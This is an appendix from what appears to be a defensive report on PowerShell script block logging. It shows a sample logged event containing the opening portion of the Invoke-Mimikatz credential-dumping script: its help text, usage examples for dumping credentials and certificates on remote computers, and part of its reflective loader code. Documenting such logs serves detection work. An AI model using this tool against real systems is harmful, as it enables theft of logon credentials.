Appendix B: Script Block Logging

Figure 4 displays a sample event message generated by script block logging when running `Invoke-Mimikatz -DumpCreds`, which is used to steal logon credentials from memory. This is the message body from a single event selected from the larger series of events generated by running the script.

```
Creating Scriptblock text (1 of 43):
function Invoke-Mimikatz
{
<#
.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load
Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple
computers.
This script should be able to dump credentials from any version of Windows through Windows
8.1 that has PowerShell v2 or higher installed.
Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email:
benjamin@gentilkiwi.com. Twitter @gentilkiwi
License:  http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Version: 1.5
ReflectivePEInjection version: 1.1
Mimikatz version: 2.0 alpha (2/16/2015)
.DESCRIPTION
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials
without writing anything to disk. Can be used for any
functionality provided with Mimikatz.
.PARAMETER DumpCreds
Switch: Use mimikatz to dump credentials out of LSASS.
.PARAMETER DumpCerts
Switch: Use mimikatz to export all private certificates (even if they are marked non-
exportable).
.PARAMETER Command
Supply mimikatz a custom command line. This works exactly the same as running the mimikatz
executable like this: mimikatz "privilege::debug exit" as an example.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.

.EXAMPLE
Execute mimikatz on the local computer to dump certificates.
Invoke-Mimikatz -DumpCerts
.EXAMPLE
Execute mimikatz on two remote computers to dump credentials.
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
.EXAMPLE
Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which
simply requests debug privilege and exits
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
.NOTES
```

```
This script was created by combining the Invoke-ReflectivePEInjection script written by Joe
Bialek and the Mimikatz code written by Benjamin DELPY
Find                          Invoke-ReflectivePEInjection                          at:
https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
Find mimikatz at: http://blog.gentilkiwi.com
.LINK
Blog: http://clymb3r.wordpress.com/
Benjamin DELPY blog: http://blog.gentilkiwi.com
Github repo: https://github.com/clymb3r/PowerShell
mimikatz Github repo: https://github.com/gentilkiwi/mimikatz
Blog   on   reflective   loading:   http://clymb3r.wordpress.com/2013/04/06/reflective-dll-
injection-with-powershell/
Blog        on        modifying        mimikatz        for        reflective        loading:
http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-
reflectivedllinjection-ps1/
#>

[CmdletBinding(DefaultParameterSetName="DumpCreds")]
Param(
       [Parameter(Position = 0)]
       [String[]]
       $ComputerName,

    [Parameter(ParameterSetName = "DumpCreds", Position = 1)]
    [Switch]
    $DumpCreds,

    [Parameter(ParameterSetName = "DumpCerts", Position = 1)]
    [Switch]
    $DumpCerts,

    [Parameter(ParameterSetName = "CustomCommand", Position = 1)]
    [String]
    $Command
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
       [CmdletBinding()]
       Param(
              [Parameter(Position = 0, Mandatory = $true)]
              [String]
              $PEBytes64,

         [Parameter(Position = 1, Mandatory = $true)]
              [String]
              $PEBytes32,

              [Parameter(Position = 2, Mandatory = $false)]
              [String]
              $FuncReturnType,

              [Parameter(Position = 3, Mandatory = $false)]
              [Int32]
              $ProcId,
```

```
            [Parameter(Position = 4, Mandatory = $false)]
            [String]
            $ProcName,

         [Parameter(Position = 5, Mandatory = $false)]
         [String]
         $ExeArgs
       )

       ###################################
       ##########  Win32 Stuff  ##########
       ###################################
       Function Get-Win32Types
       {
            $Win32Types = New-Object System.Object

            #Define all the structures/enums that will be used
            #      This   article   shows   you   how   to   do   this   with   reflection:
http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
            $Domain = [AppDomain]::CurrentDomain
            $DynamicAssembly                    =                    New-Object
System.Reflection.AssemblyName('DynamicAssembly')
            $AssemblyBuilder       =       $Domain.DefineDynamicAssembly($DynamicAssembly,
[System.Reflection.Emit.AssemblyBuilderAccess]::Run)
            $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
            $ConstructorInfo                                                          =
[System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]


            ############    ENUM    ############
            #Enum MachineType
            $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
            $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
            $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
            $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
            $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
            $MachineType = $TypeBuilder.CreateType()
            $Win32Types  |  Add-Member  -MemberType  NoteProperty  -Name  MachineType  -Value
$MachineType

            #Enum MagicType
            $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
            $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC',  [UInt16]  0x10b)  |
Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC',  [UInt16]  0x20b)  |
Out-Null
            $MagicType = $TypeBuilder.CreateType()
            $Win32Types  |  Add-Member  -MemberType  NoteProperty  -Name  MagicType  -Value
$MagicType

            #Enum SubSystemType
            $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI',  [UInt16]  2)  |  Out-
Null
```

```
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-
Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) |
Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) |
Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16]
11) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12)
| Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
            $SubSystemType = $TypeBuilder.CreateType()
            $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value
$SubSystemType

            #Enum DllCharacteristicsType
            $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public',
[UInt16])
            $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
            $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
            $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
            $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16]
0x0040) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY',
[UInt16] 0x0080) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16]
0x0100) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16]
0x0200) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400)
| Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16]
0x0800) | Out-Null
            $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16]
0x2000) | Out-Null
            $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE',
[UInt16] 0x8000) | Out-Null
            $DllCharacteristicsType = $TypeBuilder.CreateType()
            $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType
-Value $DllCharacteristicsType

            ###########    STRUCT    ###########
            #Struct IMAGE_DATA_DIRECTORY
            $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed,
BeforeFieldInit'
            $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes,
[System.ValueType], 8)
            ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0)
| Out-Null
            ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
            $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
            $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -
Value $IMAGE_DATA_DIRECTORY
```

```
            #Struct IMAGE_FILE_HEADER
            $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed,
BeforeFieldInit'
            $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes,
[System.ValueType], 20)
            $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
            $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
            $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
            $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-
Null
            $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
            $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-
Null
            $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
            $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
            $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -
Value $IMAGE_FILE_HEADER

            #Struct IMAGE_OPTIONAL_HEADER64
            $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed,
BeforeFieldInit'
            $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64',
$Attributes, [System.ValueType], 240)
            ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-
Null
            ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte],
'Public')).SetOffset(2) | Out-Null
            ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte],
'Public')).SetOffset(3) | Out-Null
            ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) |
Out-Null
            ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32],
'Public')).SetOffset(8) | Out-Null
            ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32],
'Public')).SetOffset(12) | Out-Null
            ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32],
'Public')).SetOffset(16) | Out-Null
            ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) |
Out-Null
            ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) |
Out-Null
            ($TypeBuilder.DefineField('SectionAlignment', [UInt32],
'Public')).SetOffset(32) | Out-Null
            ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36)
| Out-Null
            ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16],
'Public')).SetOffset(40) | Out-Null
            ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16],
'Public')).SetOffset(42) | Out-Null
            ($TypeBuilder.DefineField('MajorImageVersion', [UInt16],
'Public')).SetOffset(44) | Out-Null
            ($TypeBuilder.DefineField('MinorImageVersion', [UInt16],
'Public')).SetOffset(46) | Out-Null
            ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16],
'Public')).SetOffset(48) | Out-Null
            ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16],
```

```
'Public')).SetOffset(50) | Out-Null
            ($TypeBuilder.DefineField('Win32VersionValue',                        [UInt32],
'Public')).SetOffset(52) | Out-Null
            ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) |
Out-Null
            ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60)
| Out-Null
            ($TypeBuilder.DefineField('CheckSum',   [UInt32],   'Public')).SetOffset(64)   |
Out-Null
            ($TypeBuilder.DefineField('Subsystem',                            $SubSystemType,
'Public')).SetOffset(68) | Out-Null
            ($TypeBuilder.DefineField('DllCharacteristics',        $DllCharacteristicsType,
'Public')).SetOffset(70) | Out-Null
            ($TypeBuilder.DefineField('SizeOfStackReserve',                       [UInt64],
'Public')).SetOffset(72) | Out-Null
            ($TypeBuilder.DefineField('SizeOfStackCommit',                        [UInt64],
'Public')).SetOffset(80) | Out-Null
            ($TypeBuilder.DefineField('SizeOfHeapReserve',                        [UInt64],
'Public')).SetOffset(88) | Out-Null
            ($TypeBuilder.DefineField('SizeOfHeapCommit',                         [UInt64],
'Public')).SetOffset(96) | Out-Null
            ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) |
Out-Null
            ($TypeBuilder.DefineField('NumberOfRvaAndSizes',                      [UInt32],
'Public')).SetOffset(108) | Out-Null
            ($TypeBuilder.DefineField('ExportTable',                $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(112) | Out-Null
            ($TypeBuilder.DefineField('ImportTable',                $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(120) | Out-Null
            ($TypeBuilder.DefineField('ResourceTable',              $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(128) | Out-Null
            ($TypeBuilder.DefineField('ExceptionTable',             $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(136) | Out-Null
            ($TypeBuilder.DefineField('CertificateTable',           $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(144) | Out-Null
            ($TypeBuilder.DefineField('BaseRelocationTable',        $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(152) | Out-Null
            ($TypeBuilder.DefineField('Debug',                      $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(160) | Out-Null
            ($TypeBuilder.DefineField('Architecture',               $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(168) | Out-Null
            ($TypeBuilder.DefineField('GlobalPtr',                  $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(176) | Out-Null
            ($TypeBuilder.DefineField('TLSTable',                   $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(184) | Out-Null
            ($TypeBuilder.DefineField('LoadConfigTable',            $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(192) | Out-Null
            ($TypeBuilder.DefineField('BoundImport',                $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(200) | Out-Null
            ($TypeBuilder.DefineField('IAT',                        $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(208) | Out-Null
            ($TypeBuilder.DefineField('DelayImportDescriptor',      $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(216) | Out-Null
            ($TypeBuilder.DefineField('CLRRuntimeHeader',           $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(224) | Out-Null
            ($TypeBuilder.DefineField('Reserved',                   $IMAGE_DATA_DIRECTORY,
'Public')).SetOffset(232) | Out-Null
```

```
            $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
            $Win32Types      |      Add-Member      -MemberType      NoteProperty      -Name
IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64

            #Struct IMAGE_OPTIONAL_HEADER32
            $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed,
BeforeFieldInit'
            $TypeBuilder       =       $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32',
$Attributes, [System.ValueType], 224)
            ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-
Null
            ($TypeBuilder.DefineField('MajorLinkerVersion',                          [Byte],
'Public')).SetOffset(2) | Out-Null
            ($TypeBuilder.DefineField('MinorLinkerVersion',                          [Byte],
'Public')).SetOffset(3) | Out-Null
            ($TypeBuilder.DefineField('SizeOfCode',  [UInt32],  'Public')).SetOffset(4)  |
Out-Null
            ($TypeBuilder.DefineField('SizeOfInitializedData',                    [UInt32],
'Public')).SetOffset(8) | Out-Null
            ($TypeBuilder.DefineField('SizeOfUninitializedData',                  [UInt32],
'Public')).SetOffset(12) | Out-Null
            ($TypeBuilder.DefineField('AddressOfEntryPoint',                      [UInt32],
'Public')).SetOffset(16) | Out-Null
            ($TypeBuilder.DefineField('BaseOfCode',  [UInt32],  'Public')).SetOffset(20)  |
Out-Null
            ($TypeBuilder.DefineField('BaseOfData',  [UInt32],  'Public')).SetOffset(24)  |
Out-Null
            ($TypeBuilder.DefineField('ImageBase',  [UInt32],  'Public')).SetOffset(28)  |
Out-Null
            ($TypeBuilder.DefineField('SectionAlignment',                         [UInt32],
'Public')).SetOffset(32) | Out-Null
            ($TypeBuilder.DefineField('FileAlignment',  [UInt32],  'Public')).SetOffset(36)
| Out-Null
            ($TypeBuilder.DefineField('MajorOperatingSystemVersion',              [UInt16],
'Public')).SetOffset(40) | Out-Null
            ($TypeBuilder.DefineField('MinorOperatingSystemVersion',              [UInt16],
'Public')).SetOffset(42) | Out-Null
            ($TypeBuilder.DefineField('MajorImageVersion',                        [UInt16],
'Public')).SetOffset(44) | Out-Null
            ($TypeBuilder.DefineField('MinorImageVersion'

ScriptBlock ID: c03df2a5-6376-447d-b3d3-9e3b385ba764
Path: C:\users\me\m.ps1
```

Figure 4: `Invoke-Mimikatz` Script Block Logging Example